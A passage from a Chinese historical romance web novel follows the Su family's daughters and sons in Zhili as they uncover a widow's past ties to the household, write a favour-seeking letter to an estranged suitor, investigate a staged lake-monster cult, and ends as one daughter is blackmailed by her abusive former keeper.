与程采蓝相同,都是一身素服。 按时间算,母女俩应该还在孝期, 客居别家, 不好穿孝, 素服代替。 母女俩样貌极像,程太太年龄长些, 气质内敛, 更显得文静优雅。 钱夫人笑着道:“今天有客来,特意来看你的。” 程太太脸上带着疑惑,想不出在直隶会有什么人来看她。 “也是巧了,京城国公府二房的夫妻俩带着孩子来直隶。”钱夫人说着,指着苏钰介绍, “这是大房的女儿,苏钰。” “这是二房的次子,苏邑。” 京城国公府几个字让程太太怔在当场,脸上表情变幻万千。 直到程蓝采开口,“原来是京城的贵客,刚才不知道如何称呼,怠慢了。” 钱夫人笑着道:“他们比你年长,是你的兄姐。” 程采蓝笑着见礼,“见过苏姐姐,苏家哥哥。” 哥哥两个字让苏邑抓耳挠腮,苏钰都想提醒他,注意形象。 丈母娘面前,第一印象很重要。 程太太全然没注意到,似乎才回过神来,目光落到苏钰和苏邑脸上,细细打量着,好一会才开口,“怪不得如此眼熟,原来是……这么多年了,难为二太太还记得我。多年未见,家里都好吧。” 苏钰和苏邑不禁大惊,本来就是寻个借口来的,哪里想到,程太太竟然与叶氏是认识的。 苏邑实诚,刚想开口解释,苏钰就笑着道:“二叔和二婶身体康健,都很好。” 都这样的局面了,只能将错就错。 总不能说,不,您搞错了,其实我母亲根本就不知道您在这里,我是为了见您女儿胡说八道的。 这话出口,何止尴尬,是所有人都得沉默的尴尬。 “那就好。”程太太笑着说,又看着苏钰道:“大老爷和大太太身体都好吧,大太太巾帼不让须眉,是女子的表率,我甚是仰慕。” 苏钰顿时怔在当场,脸色尴尬。 苏大太太这个称呼,早在十年前就没人这么喊慕容宁了。 程太太这口吻,是跟苏家上下都很熟,却是多年未曾联络。 至少十年以上,程太太没进过京城,也未与苏家任何人联络过。 钱夫人神情尴尬,连忙圆场,“京城一切都好。二房是有事来直隶,正巧赶上我大寿。没想到你也来了直隶,二太太特意打发孩子来看你,这是有心了。” 苏钰和苏邑听得更尴尬了,尤其是向来实诚的苏邑,恨不得当场把真相说出来。 苏钰尴尬之余,却添了一份疑惑。 听钱夫人的口吻,程太太跟苏家颇有渊源,但姓程的亲戚,她为什么完全不知道。 程太太十分高兴,看向苏钰和苏邑时,神情中带着伤感,“时间过的真快,转身十来年了,孩子都长大了。” 钱夫人笑着道:“是啊,我们这些老人家,也更老了。” “老太太年轻着呢,儿孙绕膝,福气大的很。”程太太笑着说。 程采蓝笑着道:“我总是听母亲提起京城,却从来没有去过,难得遇到京城来的兄姐,能跟我讲讲京城的事吗?” 苏邑听程采蓝如此说,当即就想表现一番,只是他向来不善口舌,讲起来颇有费劲,幸好苏钰在旁补全。 程采蓝听得津津有味,笑着道:“原来京城如此好玩,母亲,我们去京城吧。” 苏邑连忙道:“好啊,再过些日子,我们也要回京,正好顺路。” 程太太笑笑,正想着拒绝。 钱夫人突然意味深长说着,“我倒是觉得,你该带着采蓝回京城。苏家在直隶虽然是望族,但我年龄大了,你们又不与我同住,我能照顾你们多少。孤儿寡母,会被欺负的,尤其是采蓝,年轻女孩没有父兄在,少不了事非。” 这话钱夫人不止一次劝过程太太,娘家,丈夫,儿子,是女人的三个依仗。 丈夫己亡,家产被抢,虽然手里还有一部分,但有钱无依傍,更容易惹麻烦。 又无子傍身,只有一个女儿,指望着招赘女婿养老,很不现实。 现在唯一能指望,就是娘家。 有娘家这个大靠山,至少不会被欺负。 说到回京城,程太太沉默下来,好一会才说,“老太爷和老太太养我一场,老太爷病重时,老太太是给我写了信的,我却没能回去。甚至连葬礼都没能参加,实在不孝至极。” 说到这里程太太眼泪落了下来,拿手绢擦着眼泪,“我哪里还有脸回去。” 苏钰听得云山雾罩,不禁仔细琢磨。 钱夫人如此厚待程家母女,她与苏邑来了,本欲寻个借口,没想到钱夫人却亲自带他们来见程太太。 按钱夫人的话说,也该来拜见。 程太太又说,老太爷和老太太养了她一场,老太爷病重,没能回京。 程太太问了大房和二房的情况,唯独没提三房。 这,不会是…… “当时你夫婿病重,连床都下不了。千里迢迢的,你一个女人,回不去也在情理之中。”钱夫人说着,“你就是不为自己想,也该为采蓝想想。” 提到程采蓝,程太太动摇了,眼中带着犹豫,却是突然问,“老太太现在,是大老爷和二老爷侍奉吗?” 钱夫人顿时吱唔起来,程太太本就不愿意回京城,要是再说了实话,只怕更不愿意回去。 苏钰决定赌一把,笑着道:“老太太回国公府了。” 程太太愣了一下,随即点点头,自言自语说着,“也是,老太太自该由亲生孩儿侍奉。” 这话出口,苏钰悬着的心终于死了。 程太太身份再无异议,谷夫人的养女,苏天佑的真爱,杨云娘。 倒是苏邑,因为大半时间在叶家,对三房的事只是隐约知道些,此时还是一脸迷茫。 苏钰怕苏邑漏馅,又担心这话题说下去会越来越危险,顺着又说了几句,便起身向杨云娘道:“时候不早了,我们打扰了许久,也该回去了。改日再来看望您和采蓝妹妹。” 苏邑还想再呆一会,却收到苏钰递过来的眼神,也跟着起身,向杨云娘说着,“我们还要在直隶留一阵子,会常来看望您和妹妹。” 杨云娘笑着点点头,“有心了。” 杨云娘和程采蓝送客至门口,转身回屋。 苏钰没有马上告辞回去,而是跟着钱夫人回了正房,问起杨云娘的情况。 钱夫人叹气,“她实在是无处可去,还能记得我这个老婆子,能来直隶投奔我,我很高兴。但是我老了,她们孤儿寡母的需要一个依靠。” 杨云娘是孤女,自幼被谷夫人养于膝下。 现下养父杨阁老己经去世,两个养兄加两个嫂子,杨云娘就是不知道他们己回老家,也不敢去投奔。 杨家两房的德性,把杨云娘母女俩发卖都有可能。 仅剩的亲人只有养母,以及苏天佑。 杨家两兄弟是杨云娘的养兄,苏天佑也是杨云娘的养兄。 只是以前的种种,这个养兄,杨云娘不打算再见了。 “当年云娘的亲事,是我做的媒,也是在我这里发嫁的。”钱夫人回忆着过往。 “其实,我劝过老太太,关氏非要嫁老三,就让老三娶了。云娘就在京城找户人家,离自己近些,总有个女儿在身边。” “老太太犹豫许久,还是决定把云娘嫁到京外。我当时很生气,就说她,养女再好总是不如亲生儿子重要。只因为要避嫌,就把一个孤女远嫁,全然不为她考虑。” 谷夫人当时的回答时,苏天佑的性情像他爹,至情至性,又暴躁冲动。 若是不把两人在距离上分开,肯定会出事。 男女之事,尤其是各自婚嫁后,再出事那就是大丑事,第一个倒霉的就是女方。 只有杨云娘远远嫁了,让苏天佑看不到她,日子才能过的安生。 这么多年过去,苏天佑和杨云娘各过的各的,倒是真安生了。 只怕连谷夫人都没想到的是,杨云娘无子守寡,最后的依靠就是她这个养母。 而她这个养母,被苏天佑奉旨奉养。 绕了一圈,又回到原点。 终于理清头绪的苏邑,己经听傻了。也幸好傻了,一直没插嘴,倒是没说漏。 “程太太是打算在直隶定居吗?”苏钰问着。 钱夫人点点头,“江阴她是回不去了,京城也不打算去,在直隶置产。也是想着我在这里,总不至于孤苦无依,也能张罗着给采蓝说个好人家。” 若是杨云娘和程采蓝能看上她的孙子小五,她真心希望这门亲事能成。 至少她活着的时候,能保证她们娘俩的生活。 “为什么不回京城?”苏邑说着。 钱夫人叹气道:“若是你们能劝说她回京城,自然是最好的。” 养母是一品诰命,苏天佑也官至三品。 有这样的娘家,才能保障将来的生活。 一个单身女人带个貌美如花的女儿,手握金银,却没有任何依靠,那就是三岁孩童手拿元宝逛闹市。 “程太太之事,您可给老太太写了信?”苏钰问着。 钱夫人摇摇头,“云娘不让。” 杨云娘的原话时,谷夫人若是知道了,肯定会派人接她进京。 进京后,免不了跟苏天佑见面。 眼看着儿女都要说亲事,这等狼狈相见,不如不见。 苏钰心里有数了,道:“打扰老太太许久,我们也该回去了。” 说了这么久的话,钱夫人也觉得乏了,也没留他们,只是道:“你们常来,看看我这个老婆子,也看看云娘和采蓝。” “一定。”苏钰说着。 从四房出来,苏钰和苏邑皆沉默不语,步行回家,快到门口时,苏邑突然道:“我想去江阴一趟,帮着程太太把财产抢回来。” 他想为程采蓝做点什么,想来想去,就是抢回财产,出这口恶气。 “从直隶到江阴,一来一回就要十天,财产处置又十分麻烦,没有两个月只怕办不完。”苏钰说着,“而且哪里需要你亲自出面,派个管事过去足矣。” “但是亲自去,显得更有诚意。”苏邑说着,为心上人做事,自然要亲力亲为。 苏钰提醒他,“先不说你突然要去江阴,二叔和二婶会不会同意。有这两个月的时间,你留在直隶,劝说程太太跟我们一起回京,岂不比你跑一趟江阴强。” 事有轻重缓急,苏邑想抱得美人归,第一件事就是说服杨云娘进京。 就剩下母女俩个相依为命,总不能程采蓝嫁到京城,杨云娘留在直隶吧。 那杨云娘也太惨了。 苏邑觉得有理,又问苏钰,“刚才说话时,采蓝总是对着我笑,你说她是不是喜欢我啊。” 苏钰点点头,“是喜欢。” 说话时,程采蓝的目光多在苏邑身上,虽然带着几分好奇。 但好奇也就是有兴趣,一个年轻小姑娘对一个年轻男子有兴趣,那就是有戏。 “真的吗,真的吗?”苏邑高兴的几乎要跳起来。 苏钰不忍心打击他,他与程采蓝之间,问题很复杂。 不说其他的,杨云娘会不会同意都不好说。 “中午了,先吃饭。”苏钰说着。 中饭过后,苏天华和叶氏都在,当着苏邑的面,苏钰说了杨云娘母女之事,坦白交代上午都干了什么。 事关上一代的恩怨,不是他们小辈可以处理的。 与其自己胡思乱想,万一行差踏错闹出事来,反而不妙。 不如坦白从宽,把事情推给长辈们处理。 “云娘??”叶氏惊呆了。 苏钰给苏邑递了个眼色,苏邑说的更直接,“我喜欢程姑娘,想娶她为妻,望父亲母亲成全。” “我早就说过,只要你喜欢,我都成全。”叶氏更傻了,自言自语说着,“只是,我若是和云娘成了亲家,我怎么跟三太太……” 她还想带着云棠搬回国公府,这要怎么搬。 她和关氏这妯娌还做不做了。 说着,叶氏看向苏天华,“你怎么看?” “就这么看,还能怎么看。”苏天华面上镇定自若,却是说,“你这么想,幸好我们邑哥儿喜欢云娘的女儿,要是越哥儿,那岂不是要打翻天。” 苏钰听得愣了一下,乍一听,好像是这么个道理。但苏越根本就不在这里,就不存在这种可能性。 苏天华这是懵逼了,刺激太大,有点没反应过来。 叶氏却是点点头,“也是,幸好是阿邑。” “我很喜欢云娘,她的女儿,想必是不差的。明天我就备份礼,带着辰姐儿一起,去看看她。这么多年未见,也不知道模样变没变。”叶氏说着。 苏天佑与云娘是青梅竹马,苏天佑时常带云娘来国公府玩。 叶氏与苏天华也是自由恋爱,婚前就相识了,兄弟之间感情好,叶氏和云娘早就见过,还一起出去玩。 苏天佑与云娘的婚事,属于双方家长早就知道,也都愿意的,只等年龄合适就办婚事。 也因为太板上钉钉,两人都没有定亲。 谁能想到,他俩的婚事会出变故。 现在想来,都是命。 第98章 第 98 章 及至次日,早饭后,…… 及至次日, 早饭后,叶氏带着云棠去了四房,苏邑吩咐管事去江阴。 苏钰正在屋里翻着县志,绿川笑着道:“姑娘, 京城来人了。” “是兄长的信到了吗?”苏钰高兴说着。 拜托苏略帮郑家脱籍之事, 估计是有消息了。 “没有信, 大爷派了人来。”绿川说着。 苏钰微微愣了一下, “快请进来。” “给姑娘请安。” 片刻后,绿川带着一个二十来岁的年轻男子进门, 样貌平常,身材平常,普普通通的路人甲。 “大哥怎么派你来了?”苏钰十分意外。 太安,苏略的心腹。 她见过几次,知道苏略倚重他。往直隶送信这种小事, 怎么也不该他来。 “姑娘的信,大爷收到了。”太安说着,“大爷担心回信写不清楚, 特地让小的走一趟。” “给郑家脱藉之事有这么麻烦吗?”苏钰十分惊讶, “郑家犯了什么事?” 太安道:“郑家太爷原是内务府掌礼司的郎中, 一手操办先皇后选秀之事。先皇后当选后,太后震怒, 杀鸡儆猴灭了郑氏一族。” 这事说起来, 郑家也很冤。 大周的选秀是有流程的,郑家与程家虽然是姻亲,郑老太爷也是按流程办事。 程皇后各方面条件都符合入选标准,郑老太爷是利用职务之便给了程皇后一点点优待,但都是亲戚之间的正常照顾。 关太后当年在前朝后宫一手遮天, 都知道她希望关贵妃能当皇后,一个小小的郎中哪敢违抗天意。 偏偏显庆皇帝帝就选了程皇后,众目睽睽之下,饶是关太后也不是好前脚说,你自己选个喜欢的。马上就自打脸,硬让自己的侄女当皇后。 显庆皇帝大婚之后,关太后开始挑错,给郑氏定的罪名并不大,罚却是十分重。 也算是杀鸡儆猴,程皇后当了皇后又能怎么样,前朝后宫依然是她说了算。 “竟然就因为这点小事,就灭人全族。”苏钰听完惊呆了,因前眼的人是太安,说话十分随意,“关太后行事如此霸道,程皇后难产而亡,中间肯定有猫腻。” 程皇后生的那可是嫡长子,出生即可立太子,只要他活着,太子之位没有任何争议。 “事情己过去这么多年,当年到底如何,己经无从查证。”太安说着。 女子生产本就是鬼门关走一糟,而且关太后行事,尤其是这种大事,绝不会留下痕迹。 “怪不得大哥派你来,其中原由信上真不好说。”苏钰说着,“也是我大意了,没有问清楚原由就胡乱承诺,让大哥为难。” 关太后亲自定的罪,原由又如此复杂,别说推翻只怕提起此事都会有麻烦。 “姑娘误会了,给郑家脱籍之事并不难。”太安说着,“慕容大人正在清理前朝,趁这个时候给郑家翻案,只是小事一桩。” 苏钰会意,浑水才好摸鱼。 一个军需案,牵扯出来这么多,三堂会审闹得沸沸扬扬,就是关太后也没有精力再去管十几年前的一桩旧案。 “但此事有一个小小的难处。”太安继续说着,“需要姑娘给薛迟薛大人写封信。” 这才是苏略派他过来的目的,事情只要能办成,苏略肯定会先办了事,等苏钰回京了再讲原因。 因为办不成,或者很不好办,苏略才会派他来给苏钰解释。 “为什么要给他……”苏钰惊讶之余,脱口而出。 不等话出口,她意识到其中的重点。 她人在直隶,薛迟怎么知道她给郑家脱籍之事?而且苏略派心腹来跟她说,也就意味着…… “大哥与薛迟很熟?”苏钰问着。 苏略离京前跟薛迟肯定是不认识的,两人之间的年龄差,让他们不该有交集。 苏略往年回京,祭祀之后就走,唯独今年留在了京城。 太安没有摇头也没有点头,“姑娘误会了,您因为程公子给郑家脱籍之事,并不是大爷告知薛大人的。” “那薛迟怎么会……”知道此事。 后面的话苏钰没有说出口。 她突然想到,不管苏略和薛迟熟不熟,以苏略的滴水不漏的行事风格,怎么可能在明知她与薛迟关系的情况下,跟薛迟说起此事。 只有一种可能,薛迟在直隶有眼线,己经知道此事。 苏略知道薛迟知道了,才派太安过来,说了这么一席话。 太安意味深长的看一眼苏钰,“大爷让小的转告姑娘,薛大人心思深沉,为人固执,对姑娘用情至深。就是缘份尽了,姑娘也该与薛大人谈妥后再寻新人。” 分手这种事,得双方说好了,而不是单方面分手。 单方面分手,是分不掉的。 至少在薛迟心里,两人还未分开。 “他都要尚主了,还有什么好说的。”苏钰言语间十分沮丧。 太安没作声,他一直在京城,很清楚京城情况。 说是指婚了,内务府压根就没准备公主下嫁的事宜,晋阳长公主府也没有迎接公主儿媳妇的打算。 空口白话的一句指婚,却没有一点落到实处。 而且薛迟特意找苏略说过,他与昭华公主的亲事成不了,他一定会娶苏钰。 但这话苏略没让他说,他自然不会多嘴。他估摸着,苏略也是觉得苏钰和薛迟不合适。 趁着这回指婚,两人断干净也挺好。 “我与程喻只是认识而己,我看郑家人可怜,这才帮忙的。”苏钰即生气又委屈。 薛迟要尚主了,她都不能交朋友吗。 太安不敢接话,只是低头站着。 郑家仅剩的四名女眷,都在官方办的教坊里,以苏钰的身份,都不可能见到她们。 见都没见过,都不认识,这怜悯之心哪里来的。 别说薛迟会误会,就连苏略都认为她是被程喻的男色所惑,才会管郑家的闲事。 “除了给薛迟写信外,大哥就没办法了吗?”苏钰生气说着。 她不相信,苏略会没办法。 “大爷只让小的把这些话转告给姑娘,大爷没交代的事,小的不敢擅自回答。”太安说着。 苏钰负气说着,“那我写信给谢无衣。” 正好四个人,凑桌麻将,多热闹。 “姑娘……”太安脸色都变了。 话出口,苏钰也觉得很不妥,心情越发烦燥,“大哥还交待其他的了吗?” 太安摇摇头,“只有这一件事。” “关楚河关大人此时正在直隶,还有红莲湖闹湖怪之事,大哥可知晓。”苏钰说着。 太安道:“大爷己知晓,姑娘不用担心。”、 “那就好。”苏钰挥挥手,“你下去吧。” 太安也不敢问苏钰的决定,低头说着,“是。” 一连几天,苏钰连房门都没怎么出,提笔写信,写了又撕,撕了又写,目前连开头第一行都没有写出来。 以前笔友之间通信,那是快乐的,现在给薛迟写信…… 跟薛迟说,你要尚主了,我也打算重新开始。结婚以后再说,先收个漂亮男宠,现在要为男宠办事,麻烦你行个方便。 这种内容,别说写给薛迟,只是脑子里想一下,苏钰就觉得很炸裂。 薛迟尚主并不是他的本意,直到现在了,想起薛迟她心中还是隐隐作痛,纠结着放不下。 因不可抗力而分开,她难受,薛迟也好受不了。 但要是在信中解释一番,如何与程喻认识,为何会答应他的请求,主动撇清与程喻的关系,岂不是显得她旧情难忘。 爱人的时候自该一往无悔,但人家都要成亲了,纠缠太难看。 “姑娘如此为难,不然就算了吧。”绿川看着满地的纸团,看出苏钰的纠结,不由的劝着她。 “我既己答应了程喻,就要做到。”苏钰说着,她虽然纠结书信内容,但从来没有想过要放弃,“郑家人实在太可怜了。” 郑家老太爷要真是做了伤天害理,十恶不赦的大罪,不管就不管了。 只因关太后迁怒,就灭人全族,女眷落得如此下场,实在于心不忍。 绿川想了想,还是决定说出来,“姑娘只是可怜郑家,才想着帮她们脱藉的,与程公子关系不大。非要在信上写程公子,不管信上内容为何,薛公子都是要多心的。” 一语点醒局中人,苏钰顿时清醒了。 若是把程喻当成信中的关键,不管怎么解释,都只会证明她与程喻关系不一般。 她应该把薛迟当成一个普通朋友,这封信也是与普通朋友之间的正常交流,就像以往当笔友时那样,多提提直隶风光。 然后在信的最后,以朋友的身份拜托薛迟帮这个忙,压根就不提程喻。 虽然多少有点踹着明白装糊涂的意思,但茶里茶气也比炸裂强。 心中己有腹案,再次动笔,虽然己有内容,却写的很慢,苏钰压不住心底澎湃的情愫。 因书信结缘,但交往这么久,她是真爱上了薛迟。现在再把他当成一个普通笔友,现在的她己找不到当年的心情。 篇说了几句,就说到郑家之事,因为是正事,反而好写。 信的最后,她还是忍不住质问薛迟,为什么她在直隶的动向,他会这么清楚。 大概是感情上还没有放下,心里也觉得俩人还是恋人,她对薛迟的监控虽然不太在意,但也不舒服。 “就这样了。”苏钰放下笔,长长吁了口气。 一封信写的下来跟打了场仗似的,因为太意才纠结,因为纠结而不知道写什么。 绿川整理晒干,封到信封后问苏钰,“姑娘,这封信,也交给管事送回京城吗?” “不了,你亲自跑一趟,送到驿站去。”苏钰说着。 若是让管事捎回京城,全家都知道她给薛迟写信了。只是想一下,她就觉得头痛。 “我下午就去。”绿川说着。 第99章 第 99 章 第一百零五章 “…… 第一百零五章 “鱼神降世, 造福世间。” 震耳欲聋的呐喊声,让整条街的人都为之一震,路上的行人纷纷避让。 苏钰顺着声音看过去,只见黑衣怪服的男人们, 手持鱼叉, 列队走来。 队伍整齐, 一看就是有组织的活动。 “这怎么又开始了, 不让去红莲湖捕鱼也就罢了,现在竟然不让吃鱼。” “说什么拜鱼教, 听说过拜神的,没听过拜鱼的。” “红莲湖都被这帮人围起来了,天天跳大绳,也不知道干什么。” “你小声点吧,万一被听到了, 会惹麻烦的。” 苏钰旁边听着,心中疑惑更甚。 春日宴过去半个月不到,如此规矩的组织都出现了, 要是背后没有推手才奇怪。 “苏姑娘。” 程喻的声音从身后传来。 苏钰转身看去, 只见程喻带着两个小厮, 小厮手里提着东西,似要给谁送去。 “程公子, 好巧。”苏钰笑着说。 程喻道:“一直想去拜访姑娘, 又怕打扰。” “公子寻我有事?”苏钰问,随即想了起来,“我己经往京城写了信,还没有回复,估计还要再等等。” 这回的信是写给薛迟的, 不像写给苏略那样。 有点点别拗,却又很笃定,薛迟一定能把事情办好。 程喻愣了一下,马上道谢,“多谢苏姑娘,姑娘大恩,我定当……” 他找苏钰不是问进度的,脱籍这么大的事,办起来十分为难,不然他也不至于在直隶呆了四年。 没想到苏钰会主动提起,而且己经给京城写了信,顿时大喜过望。 “你快打住。”苏钰阻止他说下去。 报恩这种话,等事情办成再说。 而且这回托的是薛迟,薛迟帮她办事,她却让程喻报恩,总觉得不太好。 “还是要谢谢姑娘。”程喻说着。 苏钰摆摆手,“说吧,什么事?” “姑娘若是方便,借一步说话。”程喻说着。 苏钰抬头看到对面的酒楼,“快中午了,我请程公子吃饭。” 程喻笑着道:“那怎么行,该我请苏姑娘。” 还没到饭点,酒楼里宾客不多,小二招呼着两人进了二楼雅间。 程喻坚持请客,苏钰也没跟他争。 “尝尝你家的招牌菜,看着准备。”苏钰笑着对小二说。 来直隶这么久,她还是第一次进酒楼吃饭。 也跟她一直以来的生活习惯有关系,活的太精致,对外面的东西看不上。 菜上的很快,满满一桌,不给程喻省钱的机会。 “客官,菜己上齐。”小二说着。 程喻道:“下去吧,没有传唤,不要进来。” “是。” 小二说着,转身离开,走前还不忘把雅间的门关好。 “春日宴结束后,你应该挺忙的。”苏钰笑着说。 这回的春日宴,应该会记录在直隶的县志中,经久不衰的流传下去。 程喻做为这回的主持人,宴会办成这样,后续要怎么处理,应该会很头痛。 程喻苦笑,破罐子破摔说着,“都闹湖怪了,所有事情都推在湖怪身上,倒是好处理了。” 而且都闹湖怪了,明年的春日宴能不能举行,都不好说。 整个直隶的注意力都在湖怪上,春日宴早没人在意。 苏钰道:“程公子既与船行打交道,认识的水手必然就多,对湖怪之事可知道些什么。” “我正想与姑娘说这件事。”程喻说着。 据水手们说,新年过后,常有陌生人出入红莲湖。都是水性极好的,下水之后一呆就是半天。 直隶的正月挺冷的,湖上的冰还没化开,捕鱼的人都不多,下水的就更少了。 就有水手好奇去打听,那些人却说,东家的东西掉湖里了,付钱让他们帮着打捞。 因为钱的给多,辛苦也值得。 红莲湖那么大,下水捞东西,无疑是大海捞针。 但有钱人发癫,只要钱给够,谁管他怎么癫。 水手抱着想发财的心思,就买了酒过去搭话,结果对方酒也不喝,话也不说,虽然没有赶他走,态度却十分奇怪。 有水手因为好奇,就留心观察。 这些人在红莲湖呆了差不多一个月,直到春日宴之前,又回来了一趟,下水半天就走了。 “让我起疑的是,据水手所说,那些人并非直隶人士。虽然是多人行动,却十分有序,不像一般的江湖人士。”程喻说着。 苏钰心中己有嫌颖人,猜起来就容易,“要么是达官贵人私下圈养的手下护院,要么是借调的军队。” 她更倾向于第一种,直隶是京城的门户,一直都有驻军。 内陆城市不需要海军,从军中借人也能借到水手。 不过,关楚河当了这么多年关家当家,公开私养军队肯定不敢,但手里肯定养了不少能人。 搞湖怪这种私密之事,还得自己的人放心。 “还有一件事,那个所谓的拜鱼教,也是有人组织的。”程喻说着。 不准捕鱼,不准吃鱼,首先伤害的就是渔民水手的利益。砸人饭碗,那是要出人命的。 对方先收买的就是水手和渔民,许以重金,由他们出面组织,诉说湖怪的神奇之处。 忽悠普通民众,还以派发青菜鸡蛋的形式,让更多的民众参加。 苏钰听着,沉思一会,“有件事想麻烦程公子。” “苏姑娘请讲。”程喻说着。 苏钰道:“我要证据。” 程喻刚才说的,不管是看到许多人下手的水手,还是后面组织拜鱼教,不要只凭嘴说,她需要证据,最好是铁证如山。 程喻愣了一下,他跟苏钰说这事,大半原因是当八卦的讲的,没想到苏钰竟然要证据。 苏钰从荷包里翻出几块碎银子,以及一百两银票。这是绿川放的,也是她出门的标配。 “这张银票你先拿着,稍后我会让人再送一千两银子给你。”苏钰说着。 “这,怎么……” 程喻更惊讶了,连忙就要推却。 苏钰却是坚持,“水手渔民都是要吃饭的,与他们打交道,少不了银子。” 关楚河能花钱收买,她也能收买,关键就是钱。 这么大的事,收集证据要消耗的人力物力,更重要的是财力。 程喻能把这事办成,就是还了给郑家脱籍之恩。 活由程喻干了,钱就不能再让他出了。 程喻还欲再推,苏钰十分坚持,“此事对我非常重要,我只想办成此事,银子与我根本就不算什么。” 一千两银子对她不算什么,对于程喻就是天文数字。若是因为银子的缘故,事情没办成,她才要吐血。 所以,先把钱给够,程喻才更好出力。 程喻见苏钰坚持,也没再推却。他手头并不宽余,想办成苏钰交代的,他确实钱不够,“姑娘所托,我定竭尽全力。” “程公子不问我原由?”苏钰笑着说。 程喻摇头,“姑娘如此做,自有姑娘的道理。该我知道的时候,自会知晓。” *** 被苏家认回后,云棠的生活很简单。 绝大部分时间都陪着叶氏,云棠从来没有感受过母爱,直到遇到叶氏。 “你小时候啊,调皮的很,比钰姐儿和邑哥儿都皮,三岁就要爬树,跟猴子似的。”叶氏笑着说,“你大伯说你根骨好,是叶家所有孩子里面最好的。” 按苏天翊的说法,以苏辰的根骨,要是好好培养,必然是一代宗师。 “我学跳舞的时候,师傅也夸过我。”云棠说着,突然想到自己是在教坊里学的舞蹈,以前的种种,对于苏家来说是耻辱。 便改口说着,“回京之后,我也跟着阿邑学习骑射。” 叶氏笑着道:“射箭学不学无所谓,骑马还是要学的。不然每年秋猎的时候,别人都去骑马了,自己只能坐着干瞪眼。” 想到回京之后的生活,云棠充满了期待,“我都要学。” 她是苏家的孩子,她都要学会,不能丢人。 想到回京,叶氏本来还是高兴的,又想到杨云娘,却是为难起来,问云棠,“你觉得采蓝如何?” 叶氏去见杨云娘时,是把云棠带着的。 差点成了妯娌,十几年后再见,叶氏与杨云娘都十分感慨。 叙旧叙了许久,两人对着落泪。 叶氏会哭,有一半是为了杨云娘哭,哭她命苦。 孤女远嫁,丈夫倒是好的,只是她命不好,无子,丈夫又早亡。 “程姑娘很好。”云棠说着。 虽然只见一面,程采蓝给她的印象深刻,大美女,活泼大方,应对得体,进退得宜。 苏邑会对她一见钟情,太正常了。 “我也觉得她好,更难得是阿邑喜欢。”叶氏说着,“人这一辈子最难的,就是遇上一个自己喜欢的人,我想成全他。可是……” 叶氏便把苏天佑,杨云娘,关氏的纠葛说了。 虽然晚辈不好议论长辈,但这件在苏家不是秘密,将来回国公府,少不得面对关氏,与其以后知道,不如现在知道了,心里有数。 “这,怎么会……”云棠听得目瞪口呆,脱口而出,“三太太既然出身名门,没必要……”跟一个孤女儿抢丈夫。 “三老爷和三太太多年前就不和了,夫妻早己分居。”叶氏说着,心情烦闷。 杨云娘现在的情况,进京是最好的,钱夫人也一直在劝她。 得谷夫人庇护,总有个依靠。 苏邑喜欢程采蓝,她也觉得程采蓝,要是成了姻缘就更好了。 若是没有这重缘故,亲家母孤身一人,无依无靠,她必然会接其过来同住。 叶氏更担心的是,万一苏天佑发癫,要跟关氏和离,跟杨云娘重修旧好。 以前种种不提,十几年过去,关氏再不好,她操持家务,给苏天佑生儿育女。 苏玫己出阁,苏越也己定亲,这时候苏天佑要换老婆,让苏玫和苏越情何以堪。 到时候撕扯起来,二房夹在中间,就难堪了。 云棠看出叶氏的为难,也不敢多言,“船到桥头自然直,阿邑中意程姑娘,但姻缘之事,总得父母之命,媒灼之言。” “看阿邑说话时的得意,程姑娘多半也是中意她的。”叶氏说着笑了起来。 需要日日相对的夫婚,还是需要点感情的。 完全没有感情的婚姻,男人还好,可以纳妾,对女人就是煎熬。 “还有老太太呢。”云棠说着,“母亲也不用太操烦了。” 在她看来,当年之事,是关氏的错。 现在又要因为她,让杨云娘不得见养母,苏邑不得娶喜欢的女子,就很没道理。 谷夫人是杨云娘的养母,这么多年了,不可能不挂记养女。若是得知杨云娘现在的境况,会主动派人来接。 云棠提到谷夫人,提醒了叶氏。 苏家的大长辈还在,苏震岳和谷夫人比她有决定权。 就像苏钰和苏邑那样,全部坦白,然后把头痛为难推给她和苏天华。 她也可以这么干,把事情经过坦白,然后把事情推给苏震岳和谷夫人。 天塌了有长辈顶着,她没必要自己头痛。 “一会我就给老太爷写信。”叶氏说着,家书有内容了。 因苏天华不在,母女俩一起吃了晚饭,因叶氏要写信,云棠先回了房间。 “姑娘,刚才有人送了封信,说是江南教坊的。”婆子吱唔说着,把信奉了上来。 云棠有些意外,她没给江南教坊写过信,惊讶之余,她接过信。 拆开信件,只是看了一眼,整个人都哆嗦起来,右手的信纸根本就捏不住。 “我找到了证人,你就是教坊前花魁的女儿,妓女生的婊子。不想整个直隶都知道你母亲的丑事,就来见我。” 第100章 第 100 章 云棠一直在作梦,…… 云棠一直在作梦, 她好像又回到了地狱里。 陆锦每天挑她的错,非打即骂,张口就是贱人婊子。 她不知道为什么会变成这样,明明是陆锦赎了她, 救了她, 也曾对她好过。 一个好好的人, 突然烂掉了。 或者说, 这才是陆锦的本性,只是她才知道而己。 “姑娘, 姑娘……”陪床的丫头见云棠情况不对,连忙推醒她。 云棠睁开眼,看着熟悉的丫头,大口喘息着,有种活过来的感觉。 “姑娘做恶梦了, 我让厨房煮碗安神汤。”丫头说着。 “现在什么时辰了?”云棠问着。 丫头说着,“还早呢,姑娘再睡会。” 云棠没有睡, 她也睡不着。 这些年来陆锦总是变着法折磨她, 对于陆锦的话她是不相信的。 几乎和苏邑一模一样的脸, 而且、都滴血认亲了,怎么可能不是。 这一定是陆锦的新花样, 为的是折磨她。 不理会就好了, 陆锦不敢来这里找她,苏天华会打死他。 但是陆锦是疯的,他说的证据也许是假的,但若是闹得全城皆知,苏家的脸面往哪里摆。 若是再闹出其他事情来, 云棠不自觉得打了个冷颤,恐惧涌向心头。 想到叶氏,想到苏天华,云棠哆嗦的身体渐渐安定下来。 陆锦是冲着她来的,他是疯子,害怕回避退缩,只会把灾难带给她的亲人。 陆锦约的是中午,醉云楼相见。 醉云楼是直隶最好的酒楼,也是以前陆锦常带云棠来的。 陆锦在醉云楼有个雅间,不管他去不去,都会给他留着。 约了云棠见面,陆锦早早来了,只是想到要与云棠见面,他就激动到睡不着。 所有的证人都找到了,包括当年接年云棠的稳婆,云棠就是个妓女生的婊子,根本就不是苏家丢失的二小姐。 只要把这件事公开,苏家不会再认她,她无处可去,只能回到他身边。 “云棠姑娘,大爷等你许久了。” 雅间的门被推开,云棠头戴遮脸的斗笠,走进屋里。 “怎么遮着脸,怕人认出来吗。”陆锦笑着,伸手把云棠的斗笠扯了下来,扔到地上,“没穿衣服的样子我都见过,还害什么羞。” 